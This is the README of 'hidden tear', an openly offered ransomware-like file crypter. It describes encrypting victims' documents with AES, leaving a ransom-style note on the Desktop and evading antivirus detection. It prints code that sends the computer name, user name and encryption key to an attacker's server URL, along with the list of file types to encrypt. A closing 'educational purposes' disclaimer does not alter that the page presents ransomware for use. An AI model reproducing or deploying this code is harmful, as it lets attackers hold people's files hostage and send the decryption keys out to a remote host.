_ _ _ _ _
| | (_) | | | | | |
| |__ _ __| | __| | ___ _ __ | |_ ___ __ _ _ __
| '_ \| |/ _` |/ _` |/ _ \ '_ \ | __/ _ \/ _` | '__|
| | | | | (_| | (_| | __/ | | | | || __/ (_| | |
|_| |_|_|\__,_|\__,_|\___|_| |_| \__\___|\__,_|_|
It's a ransomware-like file crypter sample which can be modified for specific purposes.
Features
- Uses AES algorithm to encrypt files.
- Sends encryption key to a server.
- Encrypted files can be decrypt in decrypter program with encryption key.
- Creates a text file in Desktop with given message.
- Small file size (12 KB)
- Doesn't detected to antivirus programs (15/08/2015) http://nodistribute.com/result/6a4jDwi83Fzt
Demonstration Video
Usage
- You need to have a web server which supports scripting languages like php,python etc. Change this line with your URL. (You better use Https connection to avoid eavesdropping)
string targetURL = "https://www.example.com/hidden-tear/write.php?info="; - The script should writes the GET parameter to a text file. Sending process running in
SendPassword()function
string info = computerName + "-" + userName + " " + password;
var fullUrl = targetURL + info;
var conent = new System.Net.WebClient().DownloadString(fullUrl); - Target file extensions can be change. Default list:
var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};
Legal Warning
While this may be helpful for some, there are significant risks. hidden tear may be used only for Educational Purposes. Do not use it as a ransomware! You could go to jail on obstruction of justice charges just for running hidden tear, even though you are innocent.